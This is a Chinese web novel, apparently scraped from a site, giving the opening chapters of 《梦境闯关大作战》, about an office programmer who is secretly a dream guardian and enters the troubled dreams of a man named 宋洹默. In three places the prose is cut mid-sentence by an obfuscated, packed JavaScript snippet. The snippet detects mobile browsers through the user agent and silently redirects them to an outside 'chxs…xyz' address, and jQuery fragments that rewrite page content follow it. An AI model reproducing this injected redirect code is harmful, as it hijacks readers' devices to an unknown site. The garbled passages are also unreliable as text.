《梦境闯关大作战》 1. 黑色的星星(一) 晚上十点,写字楼里依旧灯火通明,冷气二十四小时不间断地供应着,硕大的办公区一片寂静,孤零零地回荡着键盘的敲击声。 潼燏敲下最后一个代码,脚下一撑,办公椅在她的推动下往后滑了一步,她顺势往椅子上一靠,揉了揉酸痛的脖颈疲惫地说道:“终于搞定了。” 一旁的同事像是在弹奏古筝般,十个矫健的手指在黑色的键盘上快速地上下跳跃着,她忙得连回头说话的时间都没有,紧盯着密密麻麻的屏幕一脸羡慕道:“真好,我这起码还得半个多小时,今晚也不知道几点才能回家。” 潼燏收拾完办公桌,拿起桌上的水杯和笔记本电脑装进了包里,站起身拍了拍她的肩膀鼓励道:“加油,我先撤了,明天见。” 说完她便推开玻璃门走了出去,急匆匆地按下电梯,离开了这座金碧辉煌的魔窟。 夏季的夜晚比白日喧嚣一些,炙热还未完全褪去,迎面而来的热流似捕猎网一般严严实实地裹在了潼燏的周身,差点让她以为自己进了一间桑拿房。 她扫了辆共享单车一路飞驰到了地铁站,八百米的距离硬是骑出了一身黏腻的汗水,她随手抹了把汗湿的额头,一路小跑着进了闸口,四十分钟后,她紧抱着自己的背包从熙熙攘攘的地铁车厢里挤了出来,穿过一条无人的街道回到了家。 为了不吵醒睡熟的爸妈,她如往常一般小心翼翼地打开门,蹑手蹑脚地溜进房间拿了套睡衣窜进了浴室,速战速决后舒舒服服地躺到了床上,被子一卷,不到一分钟便沉沉睡去。 夜深了,她真正的工作才刚刚开始。 潼燏站在一片黑暗中睁开了双眼,随着她的出现,虚无的空间里凭空出现了一张白色的长桌,桌子的正中间镶嵌着一块闪烁着亮光的屏幕,上方一望无际的黑幕中漂浮着不计其数的彩色星星,每颗星星的周身都散发着独一无二的光芒,透明的内部里好似在播放电影一般,不断地变幻着各种画面。 但这并不是真的电影,而是这世上每个人的梦境。 每晚入睡后,身为人类梦境守护者的她便会来到这个专属于她的梦境管理空间,定时检查系统的工作状态。 桌上的屏幕里装载着梦境系统,它会自动监测人类是否进入了睡眠状态,一旦入睡便会自动分配夜梦。 为了方便管理也为了雨露均沾,潼燏专门写了个程序,把所有的梦境内容按照噩梦和美梦分成了两大类,其中又细分为悬疑、搞笑、恐怖、日常、爱情等,题材丰富且从不重复。 总得来说,这里就像一家琳琅满目的批发市场,不但一应俱全还全场免费,只要来了都会有。 潼燏坐在长桌前,熟门熟路地在屏幕上点击了分类播放,黑幕中的星星开始飞速地调换位置,整齐有序地分成了几排竖列。 “让我看看今晚给你安排个什么样的梦。”她在屏幕上点击了一下搜索,一个名为“重点关照”的名单立马跳了出来,她公司领导的名字赫然映在了第一排。 潼燏定睛一看,这个一天到晚压榨员工口吐芬芳的地中海今晚居然在做一个发财的美梦,可恶,怎么能让他得逞? 她狡黠一笑,手指一滑立刻把他放进了顶级恐怖的选项里,设置时间为一周,接下来的七天他将在梦里被各种妖魔鬼怪追杀,一整宿都不带停的。 解决完头等大事,潼燏满意地仰靠在椅子上翘起了二郎腿,悠哉地看着悬浮在夜空中的梦境星星。 她随意地伸出手往上一滑,星星跟随着她的动作一轮一轮地依次出现,她随机点了几个,放大画面看了下觉得没什么意思,又退出去重新筛选,像极了在平板上挑选自己爱看的电视剧。 忽然,一颗与众不同的星星出现在了她的眼前。 它光芒暗淡,通体黑色,整个内部萦绕着一层黑色的迷雾,里面什么画面都看不清,隐隐透着丝丝的诡异。 潼燏坐直身体把它拉到了自己面前,仔仔细细地看了一遍又一遍,愣是没看出什么蹊跷。 她瞪大了眼,挠了挠脑袋自言自语道:“奇了怪了,这是什么情况?” 她从业多年,第一次看到这么独特的梦境星星,秉着专业的售后管理,她决定进去一探究竟。 潼燏随手把星星从黑幕中摘了下来,轻轻地放在手里闭上了眼睛,下一秒,她的身体一轻,一脚踩在了水里。 潼燏再次睁开眼,只见四周一片漆黑,墨黑的夜空里悬挂着一轮镰刀似的弯月,微弱的月光洒在昏暗的水面上泛起了层层银色的波纹。 她环视了一圈,发现这似乎是一片无边无际的深湖,放眼放去,周边除了这黑乎乎的湖水外什么都没有。 不过这可难不倒她,作为梦境守护者,她不但可以随意出入人类的梦境,还拥有强大的控梦之力,可以在任何一个梦里随意变幻场景与事物,甚至能操控整个梦境的走向。 她抬起手潇洒地打了个响指,平静的湖面上瞬间出现了一艘崭新的木船,她走进船舱坐了下来,拿起船桨慢悠悠地在湖面上荡起了小舟。 她本可以让小船自动前行,但既然气氛都烘托到这了,不荡个双桨实在说不过去。 她一边划一边巡视,越看越觉得不对劲,毕竟按照系统分配,这颗梦星的主人此刻应该正在做一个十分无厘头的梦,可她找了半天连个人影都没瞧见,整个空间寂静到只能听见船桨下传来哗啦哗啦的划水声。 “这什么情况?人呢?”潼燏放下船桨,坐在船头抱着双臂思索了起来。 难道是这颗梦境星星出故障了需要维修一下?可是这梦里并不是一片虚无,虽然黑了点但还是有场景设定的,应该不是故障问题。 那难道是分配错了梦? 不过这也不可能啊,梦境系统从来没出过差错。 正想着,前方的湖面上出现了一个人影,潼燏起身一看,一个男人正漂浮在黑漆漆的水面上。 她把船划到了他的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963118|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁,伸出手一把将他从水里捞了上来,男人穿着一身白色短袖和浅蓝色牛仔裤,浑身湿透脸色苍白,一动不动地躺在了船舱里。 “还好我的船够大,不然你这大长腿都无处安放。”潼燏碎碎念念了一句,抱着膝盖蹲在男人面前,眼睛一眨不眨地盯着他。 这人看着大概二十出头,长得极其好看,流畅柔和的脸型上恰到好处地分布着立体的五官,墨黑的眉毛锋利且带着一丝野性,紧闭的双眼垂下了浓密的睫毛,在眼下落下了一片阴影,高挺的鼻梁像是耸立起了一座山峰,山峰左侧点缀着一颗黑色的小痣,像极了水墨画上那点睛一笔,瞬间就栩栩如生了起来,一双毫无血色的薄唇为他这清冷的脸庞增添了一分我见犹怜。 潼燏蹲在一旁细细端详了半天,伸出手在他脸上比划了一下,惊叹道:“这脸可真小,妥妥的巴掌脸啊。” 她的目光继续往下,落在了他细长白皙的脖子上,耸立的喉结沾着几颗水珠,看起来极具诱惑又十分性感,再往下看...... 不,不能再往下了! 潼燏一掌拍在了自己的脑袋上,紧急阻止了脑海里的想入非非。 拜托,清醒一点,她是来干正事,不是来看帅哥的! “喂,你醒醒。”她握住男人的肩膀摇了摇,试图唤醒他,“你在梦里还睡什么觉啊,快醒醒。” 喊了半天,他还是半死不活地躺着,没有一点动静。 潼燏加大了力度,抓起他软绵无力的手使劲摇晃,见他还是没有反应,响指一打,变出了一个超大的高音喇叭。 她俯下身,手拿喇叭对着他的耳朵大喊道:“醒醒!起来做梦了!” “别睡啦,快醒醒!” “快起来做梦!” “......” 她拿着喇叭喊了许久,船舱里的男人依旧一动不动地躺着,连睫毛都没有一丝波动。 潼燏气馁地把喇叭丢到了一边,靠在船板上怀疑起了人生。 这人居然怎么喊都喊不醒,实在是太不科学了! 按理说他这种状态应该是在做梦中梦,即使让他从第二层梦境里醒来也不会耽误他继续做梦,可这人怎么睡这么死?喊破了喉咙都喊不醒他。 他要是不醒来,她就无法判断是哪里出了问题,看来只能去他的第二层梦境里看看了。 潼燏握住他的手准备进入另一个梦境,可等了许久,她发现自己还在这艘船上,闭上眼继续尝试,睁眼仍是一片湖水。 “怎么回事啊,怎么这么多故障。”她尝试了十几遍都无法进入他的第二层梦境,气得她俯身趴在了他的身上,将手覆盖在他的胸口,决定尝试最后一次。 三十秒后,她睁开了眼睛,看到那轮暗淡的弯月仍纹丝不动地定格在昏暗的半空中。 “这什么情况。”她疑惑地眨了眨眼,意识到了一个极其可怕的可能性。 这个男人没有第二层梦境。 2. 黑色的星星(二) 那他一直昏睡不醒是怎么回事? 潼燏抬头望向他,男人的脸离她很近,放大的五官越发深邃,几缕黑发湿哒哒地垂在额前,脸上的皮肤细腻到几乎看不到什么毛孔。 “你到底是哪里出了问题?”她看着男人沉睡的脸庞,鬼使神差地伸出一根手指缓缓地靠近他的额头,轻轻一点,落在了他的眉间。 霎那间,白皙的皮肤纹理下晕开了一层金色的亮光,耀眼的光芒急速地从眉宇间蔓延了开来,一路延伸到了脚下似暖流般烘干了他的身体,死气沉沉的胸腔开始微弱地一起一伏,像是才刚刚有了呼吸一般。 “我嘞个去,这什么情况。” 潼燏被这突如其来的一幕吓了一跳,她从没见过这样的情形,等她反应过来低头一看,光芒已从他身体里散发了出去,以木船为中心,一圈一圈地在湖面上泛起了金色的涟漪。 顷刻间,整片天空宛如白昼般亮了起来,天上的弯月在金光的映照下幻化成了一轮皎洁的圆月,它像是终于复苏了一般,沿着天空的轮廓缓缓地移动了起来。 久睡不醒的男人慢慢地睁开了眼睛,长长的睫毛拉开了帷幕,露出了一双深不见底的双眸,如琥珀般清透的眼眸呆滞几秒后微不可察地转了转,随后又像是卡住了般没了动静。 潼燏见他醒了,开心得不得了,由于这梦境系统太过死板,她无法改动程序只能适当地添加一些,所以一旦人类的梦境星星出现做不了梦、梦境出错或者一片空白等故障,她只能进入梦里进行手动维修,要是遇到搞不定的还得回去翻那本超级无敌厚的梦境管理说明书,苦唧唧地边看边修。 幸好他的梦境已经没什么问题了,潼燏大大地松了口气,总算不用看那本比天书还复杂的说明书了。 不过为了以防万一,她决定留下来观察一下男人的梦境,确定真的没事了再走,以免再出现什么稀奇古怪的故障。 她看了眼空荡的四周,伸出手打了个响指,随着声音的落下,平静的湖面剧烈地抖动了起来,一座草木缠绕的岛屿冲破金色的水面从湖底下缓缓升了起来,伫立在了深湖的中央。 “走吧。”潼燏拽起发呆的男人,搀扶着他走上了岛。 男人浑身虚软无力,脚下一软摔在了草地上,潼燏赶紧扶他坐了起来,见他一头黑发凌乱地铺在眼前,不自主地伸出手帮他整理了一下。 “你刚才是在水里睡觉吗?”她撩了撩他额前的发丝,自来熟地开启了话题,“你这爱好挺小众啊。” 男人沉默不语,任由她摆弄,愣愣地望着前方发呆。 “你在看什么呢?”潼燏顺着他的目光看了看,前面只不过是一片普通的湖水而已,没什么特别的。 “这有什么好看的,我给你看点有趣的。” 她神秘一笑,伸出手对着天空随手一挥,远处的天际瞬间出现了一片七彩斑斓的晚霞,无数团洁白无瑕的云朵穿过艳丽的霞云朝着他们悠悠飘来,一路上似烟花般炸开,宛如天降神彩般不断地往下落着五颜六色的碎片。 潼燏在一片绚丽中转起了圈,开心地张开双臂迎接着从天而降的彩色碎片,五彩碎片轻飘飘地落在地上,化成了一道白色的薄雾。 “怎么样,好不好看?神不神奇?”她自娱自乐地在草地上玩了一会,本以为男人一定会被她这一波炫酷的操作秀得下巴都要惊掉,结果她低头一看,发现他仍保持着最初的姿势,两眼无神地坐在茂密的草坪上,连眼皮都没有抬一下。 潼燏没想到他这么高冷,索性一屁股坐在了他面前,指了指天空提醒道:“你倒是看一眼啊,这么好看的场景再不看就没咯。” 男人呆呆地坐着,眼珠子一动不动,似乎是懒得搭理她。 “好好好,你等着,我就不信你一点反应都没有。” 潼燏的胜负欲成功被他激了起来,眨眼间变出了一个奥特曼打怪兽。 双方打得正激烈时,上一秒还在发射激光的奥特曼,下一秒突然摇身一变穿上了一条粉色吊带连衣裙,他眨着魅惑的电眼伸出手搭在了怪兽的肩膀上,揉着西装笔挺的它跳起了爱的华尔兹。 “哈哈哈哈哈哈,笑死我了。”潼燏被这搞怪的画面逗得捧腹大笑,她转头一看,笑意顿时凝固在了脸上。 身旁的男人面无表情,两对眼皮似胶水粘住了一般纹丝不动地焊在了眉下,她没想到这男人竟如此稳如泰山,看到这种离谱的画面居然都没有反应。 看来他不相信光。 潼燏再接再厉,她一会变出一个小丑滑稽地骑在独轮车上表演胸口碎大石,一会又变出一个一按就会跳出一条龇着獠牙的眼镜蛇玩具,接着又变出两个迷你小人使劲挠他的咯吱窝。 她使出了浑身解数,男人还是如同死水一般,一点反应都没有。 草地上大大小小的道具堆成了一座小山,潼燏无精打采地坐在地上,杵着脑袋歪头看着他。 身为梦境之主的她在人类的梦里向来如鱼得水,不管是什么样的梦主,她三两下就能唬得对方找不着北。 但眼前这个男人是真的一点都不吃她这一套啊,难道他就跟那仙侠剧里的男主一样,天生拔情绝爱没有一丝人类的情感? 通俗点说,就是根纯纯的木头。 “不应该啊,就算是智力有问题的人,也不会没有反应啊?” 潼燏感觉自己遇到了职业瓶颈,从业多年竟然在一个男人身上滑铁卢了,看来她回去还得翻翻说明书,看看上面有没有关于梦主一做梦就变傻子的特殊情况。 “真无趣,要不是看你长得帅,我才不待在这里陪你玩。”她深深地感受到了挫败感,扭过头不再搭理他,直接变出一个平板,坐在他身旁看起了蜡笔小新。 “已经没事了,小新,只要你留在妈妈的身边就好,因为这样就够了。”屏幕里传来野原美伢温柔的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963119|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潼燏泪点极低,看了一会便感动得眼泪汪汪。 她一边抹眼泪一边吸着鼻涕,忽然感觉身旁的草地一动,偏头一看,男人竟转过了身,牢牢地盯着她手中的平板,清澈的眼眸微微发红,一滴晶莹的泪水从他的眼眶里滑落了下来,“啪嗒”一声掉在了手背上。 我去?他居然......哭了? 潼燏大为震惊,刚酝酿起来的感人情绪瞬间烟消云散,她像石雕般立在了原地,目瞪口呆地看着他无声地哭泣着,大颗大颗的泪珠从泛红的眼角里落了下来。 她看着这张哭得梨花带雨的脸,艰难地组织好了语言:“呃……你......你也觉得小新的妈妈很爱他对不对?” 谁料此话一出,男人的泪水似泄洪般喷涌而出,整个人伤心欲绝,哭到鼻尖都变得红通通的。 潼燏不知道是哪个字戳中了他的泪点,唰地一下把手里的平板丢了出去,手忙脚乱地安抚着他:“那个,我知道这个蜡笔......这个动画片很感人,但你是不是有点太感动了,好了好了,别哭了。” 她在现实世界里从来没见男人哭过,现在这个情况完全触及了她的知识盲区,她只能像安慰自家那个五岁的小侄女一般,连哄带骗地说道:“好了,乖,不哭了,再哭就不帅了,你看你长得多好看啊,应该笑一笑才对。” 男人像是没听见她的话,仍自顾自地落着眼泪,泪汪汪的眼帘微微低垂着,一颗小小的泪珠孤零零地挂在高耸的鼻梁上,像是在水墨画上下了一场凄凉的秋雨,紧抿的嘴唇在雨水的湿润下逐渐有了血色。 潼燏没想到一个大男人居然吃这套,看个动画片哭得比她还惨。 看在他长得帅的份上,她往他身边挪了挪,伸手环住了他的肩膀,一手放在他的后脑勺上轻轻安抚道:“好了好了,乖,不哭了,不哭了。” 反正都是梦,不抱白不抱,醒来后他要是还记得,也记不清她的脸,只会记得他自己在梦中的这段黑历史。 一会后,男人在她温柔的怀抱中渐渐平复下来,潼燏见他停止了哭泣,轻轻松开他,贴心地帮他抹去了脸上残留的泪水,浓密的睫毛全都被泪水打湿,黑白分明的眼眸里布满了悲伤。 真是一个可怜儿啊。 哎,等等,不对劲。 按理说没有故障的梦应该恢复正常了才对,可她在这里待这么久了,系统设定的无厘头画面竟然一个都没有出现,而且眼前这个男人的状态也不对,她从没见过哪个梦主在梦里不是发呆就是哭泣的。 这个梦有问题。 她正想开口询问,脚下的小岛忽然剧烈摇晃了起来,黑色的湖水开始翻涌,天上的月亮像断了线的圆球直直地落到半空,消失不见。 潼燏淡定地站在岛屿上看着这天崩地裂,一般出现这种情况,说明梦主还没做完梦就因外界的不可抗力因素半途醒了过来。 这个梦境要消失了。 3. 森林大逃亡(一) 潼燏离开了男人的梦境,躺在床上迷迷糊糊地醒了过来,她透过窗帘上没有拉实的缝隙看到天边露出了鱼肚白,手机时间显示为凌晨四点三十五分。 距离起床还有三个小时,她打算再小睡一会,裹着被子酝酿了半个小时却怎么也睡不着,满脑子都是梦境里那个奇怪的男人。 她总觉得他身上有种说不出缘由的古怪。 热烈的阳光透过浅粉色窗帘投射了进来,七点十分的闹钟准时响起。 潼燏换好衣服懒洋洋地起床洗漱,才睡了四五个小时的脑袋头痛不已,她快速收拾完了自己,坐在餐桌旁一边喝豆浆一边揉着太阳穴。 潼爸爸从厨房里走了出来,端着一盘热腾腾的肉包子放到了她的面前,解下腰上的围裙关切道:“怎么了小燏,是不是昨晚下班太晚没睡好?” 潼燏拿起肉包小小地啃了一口,有气无力地点了点头:“嗯,是有点没睡好。” “那今天别去上班了,跟你们领导请个假,在家休息一天。”潼爸爸心疼地看着自己的宝贝女儿,自从她毕业后进入IT公司实习,这才一个多月,小脸就瘦了一圈。 这班上得也太辛苦了。 “不用了爸爸。”潼燏喝了口豆浆,把嘴里的包子咽了下去,笑了笑说道,“我没事,中午午睡一会就好了,妈妈今天这么早就上班去啦?” “六点就出门了,你知道她的呀,她这人最注重时间观念,每天都是学校里第一个到的老师。” “还得是老妈,比我敬业多了。” 潼爸爸灿烂一笑,同意道:“那当然了,我老婆可是相当优秀的。” “这点我赞同,咱俩都得努力跟上老妈的步伐呀。” 说笑间,潼燏抓起桌上的手机看了眼时间,已经七点五十五分了。 她赶紧丢下手里的包子拎起了背包,走到玄关处边换鞋子边提醒道:“爸爸,你下班的时候记得帮我拿一下快递,里面是我送给妈妈的颈部按摩仪,我这几天估计都得加班,你帮我给妈妈吧。” 潼爸爸温和一笑,答应道:“好,等你妈妈下班回来,我就给她戴上试一试,再给她锤锤背敲敲腿。” 潼燏哈哈一笑,竖起了大拇指:“老爸,还是你最好了。” “必须的,你俩都是我的大宝贝。”潼爸爸拿起桌上的鲜牛奶递给她,提醒道,“到了公司记得喝掉,你看你最近瘦的,晚上少加点班早点回来,爸爸炖土鸡给你吃。” “知道啦,我先上班去了,拜拜。” 潼燏一路小跑,风风火火地冲进了地铁站,早高峰的地铁车厢里密密麻麻地站满了人,像是被一只巨手整整齐齐地塞进了一座密不透风的牢笼里。 潼燏被挤得像根定海神针般牢牢地扎在了车厢里,就算不扶着拉环也不会摔倒,因为她的周围压根就没有多余的地方可以动弹,呼吸之间全是一股交杂着汗水与食物气息的诡异之味。 她紧紧地护着自己的电脑,暗暗在心里感慨道,要是她白天的时候也能像梦里一样能呼风唤雨就好了,那她绝对第一时间先回家把还没吃完的早饭先吃了,然后再美美地睡上一觉。 可惜现实世界里的她终归是个拉犁的小牛马,只能老老实实地赶在迟到前打完了卡。 她一路奔驰,气喘吁吁地坐在工位上打开了电脑,隔壁同事小叶滑着椅子溜到了她身旁,把一杯黑咖啡放在了她的桌上,凑近她耳旁神秘兮兮地说道:“今天王总迟到了。” 潼燏两眼一亮,八卦道:“他不是标榜自己恨不得每天都住在公司吗,怎么今天......” 正说着,她余光一瞥,看到王总顶着他那一头稀稀拉拉的地中海从茶水间里走了出来。 两人立即一个华丽的转身,麻利地回到了各自的工位前,双眼炯炯有神地盯着电脑屏幕,开始了新一天的繁杂工作。 地中海迈着六亲不认的步伐走了过来,他端着咖啡杯巡视了一圈,站在办公区中间清了清他那万年卡痰的破锣嗓子,对着众人颐指气使道:“昨天有些人交上来的文件我直接删了,没水准的东西我不看,你们坐在这里是来创造价值而不是来制造垃圾的,下次要是连个小小的BUG都搞不定那就没必要留在这里浪费时间了,还有几个刚来的实习生,别拿年轻当资本,没能力我照样让你卷铺盖走人,这是警告,不是提醒。” 说完,他拨了拨脑袋两侧摇摇欲坠的头发,仰着脑袋像只斗鸡般趾高气扬地走进了办公室,一不留神撞在了坚硬的桌角上,“嗷”地一声,发出了一声惊天地泣鬼神的惨叫。 他气愤地踹了一脚桌子,要不是昨夜做了一整晚的噩梦搞得他都没睡好,不然刚才还能再多演讲几句,这该死的噩梦真是太影响他的发挥了。 一旁的小叶探头探脑地想和她吐槽地中海,但潼燏今天没这个心情。 她一边工作一边回想着昨晚的梦境,醒得太早导致她昨天还没来得及查看说明书,所以今晚她一定要早点回去睡觉。 可惜天不遂人愿,她写了一天的代码,处理了一个BUG,忙到九点五十才火急火燎地往家赶,一到家就看到桌上放着一张纸条。 “小燏,锅里有鸡肉,饿了就吃一点。” ——妈妈。 “谢谢妈妈。”潼燏幸福一笑,走进厨房打开了保温的电锅,一阵浓郁的鲜香扑鼻而来,整只鸡静静地躺在锅里,丝毫未动。 她心中一暖,扯下一只鸡腿狼吞虎咽地吃完,急匆匆地洗完澡躺到了床上。 入睡后,她来到梦境管理室,随手在屏幕上点了下“随机分类梦境题材”,所有的星星开始有序地转换梦境内容。 她检查了一下系统状态,确认没问题后一把拉开了桌下的抽屉,一本足足十五厘米厚的《梦境管理守则》静静地躺在里面。 她盯着红金色的封面看了一会,又默默地把抽屉推了回去。 算了,还是下次再看吧,也不急于这一时半会,她可不想忙了一天睡觉了还要看这么枯燥的东西。 潼燏在黑幕中找到了属于昨晚那个男人的梦境星星,今天看着倒是没什么异常,正在照常地在进行着梦境。 她点开梦星,一个飘忽不定的名字出现在了她的面前。 “宋洹默。” 这名字还蛮好听的嘛! 潼燏摘下星星放在了手心里,闭上眼再次进入了他的梦境。 三秒后,她站在一片浩瀚的森林中睁开了眼睛。 一群浑身长满绿色尖刺的飞兽长啸一声从她的头顶快速掠过,庞大的翅膀刮起了一阵猛烈的飓风,她一个没注意,差点被这巨大的风力刮走,幸好及时抱住了身旁的大树,这才没有摔倒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963120|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大风消散后,她这才看清四周是一片黑压压的原始森林,粗壮高大的树木密集到连炙热的阳光都很难照射进来。 前方四五只体型如大象般庞大的白色犀牛为了抢占地盘,顶着额头上一米长的犀角互相冲撞着,一时间状况激烈,分不出胜负。 在它们身后,两只浑身通红皮毛发亮的尖嘴鸟类张开了宽大的翅膀腾空飞起又俯冲而下,一爪子拍死了趴在草丛中的两只长得像猪但四肢健硕尾巴像毒蝎般高高竖起的小怪兽。 远处的海岸上奔跑着一群浑身长满银色鳞片,腿长两米脖子却极短的怪物,它们冲到海边,纵身一跃齐齐跳进了蔚蓝的深海里,再次腾空而起时,身上的鳞片如碎屑般落下,脖子一缩,瞬间变幻成了张着血盆大口的棕色鲨鱼。 与此同时,一声震天动地的巨响从幽深的地底下传来,整片大地顿时震荡了起来。 波光粼粼的海面上卷起了几十米高的海浪,无数条长着两只小手的鱼儿被凶猛的海水冲了上来,它们尖叫一声后趴在沙滩上奋力地开始挖坑,试图把自己埋进这个小小的沙洞里。 奇形怪状的贝壳一张一合地在岸上奔跑着,下一秒却被闻讯赶来的矮脚恐龙一口一个,嚼了个咯嘣脆。 森林里的动物一拥而上挤在了空旷的沙滩上,争相抢夺起了大海馈赠的食物。 潼燏远远地扫了眼这鸡飞狗跳的场面,淡然地穿行在无边的森林里,身为梦境之主她什么场面没见过,这些都是小CASE。 她现在首要的任务就是先找到宋洹默,他作为一个没有自我意识的梦主,肯定被这些长相丑陋的怪兽吓到了,这会估计在哪个犄角旮旯里躲着呢。 潼燏一脚踢开草丛里拳头般大的蚂蚁,刚一抬头,一只长箭“咻”地一声朝她飞来。 她躲都懒得多,梦里所有的事物都是虚假的,即使对面搬来大炮炸她,她也不会掉一根寒毛。 “切,这什么破玩意。”潼燏一脸傲娇地站在了原地,打算让对面偷袭她的家伙看看什么叫实力碾压。 长箭呼啸而过,擦过她的手臂钉在了身后的树干上。 一阵微弱的疼痛从手臂上传了过来,潼燏以为自己出现了幻觉,毫不在意地向前走了几步,叉腰挑衅道:“就这?你有本事往我脑袋上射啊!” 前方的草丛一阵骚动,三个男人从两米宽的大树后钻了出来,他们人高马大,浑身晒得黝黑,黑黢黢的脑门上绑着用草绳捆起来的绳子,半裸的身体仅仅用几片枯黄的树皮挡住了中间部位。 他们的眼神如同猎豹般犀利,赤着脚举着弓弩,十分警惕地朝她走来。 潼燏上下扫了一眼,啧啧了两声精准吐槽道:“虽然说你们是野人,但能不能多穿点?这多冒昧啊!” 野人听见她的声音,走了几步便不再靠近,三人交头接耳了几声,抬起弓弩再次朝她射来。 “让我看看你这次的准头如何。”潼燏没有闪躲,仍旧一动不动地站着,做好了正面迎接的准备。 眼看箭矢快要射中她的脑门,一个人影忽然从她的身后蹿了出来,拉着她往旁边一扑,躲开了这致命的一击。 潼燏一个重心不稳倒在了地上,身体被地面上零零碎碎的石头树杈硌得生疼,她还没来得及反应,一个清冷明亮的声音在她耳旁响起。 “你不要命了?” 4. 森林大逃亡(二) “啊?” 她仰起头,看到一个穿着白色短袖的男人正顶着一头凌乱的黑发站在她面前一脸严肃地看着她,少年气的脸上沾染了一丝泥土的脏污,看着比之前更稚嫩了一些。 狭小的树缝间投下了几缕微弱的阳光,洋洋洒洒地落在了他的肩上,浅色的瞳孔里带着明亮的光芒,恍惚间差点让她失了神。 看清这张帅到没朋友的脸后,潼燏急忙从地上爬了起来,咧嘴一笑道:“原来你在这啊。” “你认识我?”宋洹默眼神一动,撇到她身后的野人又偷摸地抬起弓弩准备发动攻击,他一把拉过她的手腕,大喊道,“快跑!” 潼燏跟着他一路狂奔,像匹脱缰的野马似的埋头猛冲,她本想直接变出一堵墙把那三个不识时务的野人拦在身后,但转念一想,在梦里跟一个帅哥手拉手来一场刺激的森林大逃亡也不是不行。 她看着前方奔跑的宋洹默,灵光一闪,拽着他的手腕将他一把拉住,指了指左边低矮的山洞说道:“这样跑下去也不是办法,我们躲进山洞里吧。” 宋洹默看了一眼隐蔽的山洞,点了点头。 两人半途换道,趁野人还没追上来,转身躲进了昏暗的山洞里,还顺手拖了一大捆草堆掩盖住了洞口。 这地方外表看着是个山洞,但里面宽度极其窄小,潼燏与他肩膀并着肩膀,勉强凑合着蹲在洞里,身旁再也没有一丝可以多余挪动的地方。 不一会,外面传来了野人的脚步声,他们在洞口徘徊了许久,叽叽喳喳地不知道在说些什么,听起来似乎有些气急败坏。 洞里的两人一声不响地藏着,蹲到腿都快麻了外面的声音才渐渐消失。 潼燏卡在洞里动弹不得,但心里十分得意,她瞄了宋洹默一眼,邀功道:“怎么样,我的办法好吧?” 宋洹默看了她一眼,没有接话,反问道:“你是谁?” “我是......”她刚想给自己编一个完美的人设,背后却不适时宜地传来了窸窸窣窣的动静,像是有什么东西正在慢慢地靠近他们。 潼燏不再出声,两人默契地对视了一眼,不约而同地转头往后看去。 一对铜铃般大的黄色眼珠从山洞深处的黑暗里冒了出来,不一会便露出了它整个身体。 一个蛇头鸟身的怪物缩在他们身后,抻着脖子“嘶嘶”地吐着沾满绿色粘液的黑信子。 宋洹默最先反应过来,他双目一瞪,一把推开碍事的草堆,拽起潼燏就冲了出去。 怪鸟见他们跑了,瞳孔一竖,扭动着蛇头不急不慢地走出了山洞。 “不用跑,我来搞定。”还没跑出几米远,潼燏就甩开他的手停下了脚步,回头对上了那双黄色的竖瞳。 “小样,看我不把你变成烤鸡。”她邪魅地勾起嘴角,自信地朝它伸出手,打了个清脆的响指。 接下来这只怪鸟将会变成一只小小的走地鸡任她宰割,而她身后的宋洹默也将见证这奇妙的一幕,大为震撼后就会一脸崇拜地把她奉为无所不能的偶像。 一想到这,她便得意地笑了起来,仿佛已经看到他紧抱着自己的大腿求保护。 半分钟后,一群乌鸦嘎嘎叫着从头顶飞过,怪鸟张开翅膀一跃而起,三两口就把这群看热闹的八卦小鸟吞入了腹中。 几撮残破的羽毛零零碎碎地落了下来,谱写了一句“没事就别凑热闹”的悔恨遗言。 潼燏所设想的高光画面迟迟没有出现,她一头雾水地看了看自己的手,以为是手指打得不够响,于是再次抬手,对着天空打了几个十分洪亮的响指。 怪鸟站在她前方在树杈上,伸着细长的脖子一扭一扭地看着她,喉咙里发出咕噜咕噜的声响,似乎对她这个奇怪的动作产生了好奇。 一旁的宋洹默再也看不下去,一脸无语地走上前,环抱着手臂看着这个脑子不太正常的女人,吐槽道:“你手指抽筋了?” “不是,我怎么变不出来了?”潼燏瞪着一双杏眼,难以置信地盯着自己的手。 一只手不顶用她就伸出两只手一起打响指,心里慌得一批,表面上却仍故作淡定道:“不可能,这一定是个意外,没关系,你稍等一下,我马上就能搞定这只鸡,哦不是,是这只鸟。” 宋洹默看她仰着脑袋,双手直直地朝着天空魔怔地打着响指,他往后退了一步,尽量离这个奇怪的女人远一点,蹙着眉问道:“你是在求雨吗?” 